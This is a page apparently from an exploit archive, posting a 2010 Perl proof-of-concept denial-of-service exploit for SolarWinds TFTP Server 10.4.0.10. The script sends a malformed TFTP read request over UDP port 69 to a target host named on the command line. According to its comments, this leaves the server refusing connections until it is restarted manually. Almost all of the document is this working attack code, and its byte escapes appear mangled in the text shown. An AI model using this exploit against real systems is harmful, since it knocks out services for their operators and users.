Solarwinds 10.4.0.10 TFTP DoS
Posted on 21 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Solarwinds 10.4.0.10 TFTP DoS</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================= Solarwinds 10.4.0.10 TFTP DoS ============================= # Exploit Title: Solarwinds TFTP DOS # Date: 5-21-2010 # Author: Nullthreat # Software Link: http://www.solarwinds.com/products/freetools/free_tftp_server.aspx # Version: 10.4.0.10 # Tested on: Windows XP SP3 # Code : #!/usr/bin/perl # SolarWinds TFTP Server 10.4.0.10 Remote DoS Exploit # by Nullthreat # The application will not crash, but it will stop accepting connections. # You will be forced to restart the server by hand in the config # Thanks to: LoneFerret, CoreLanC0der, PureHate, Rel1k use IO::Socket; $port = "69"; $host = $ARGV[0]; $s = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp'); $really= "x00x01". # Opcode 1 = Read Request "x01". # The crash....no really thats it "x00". # Null byte "NETASCII". # The mode "x00"; # Null byte $s->send($really); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-21]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>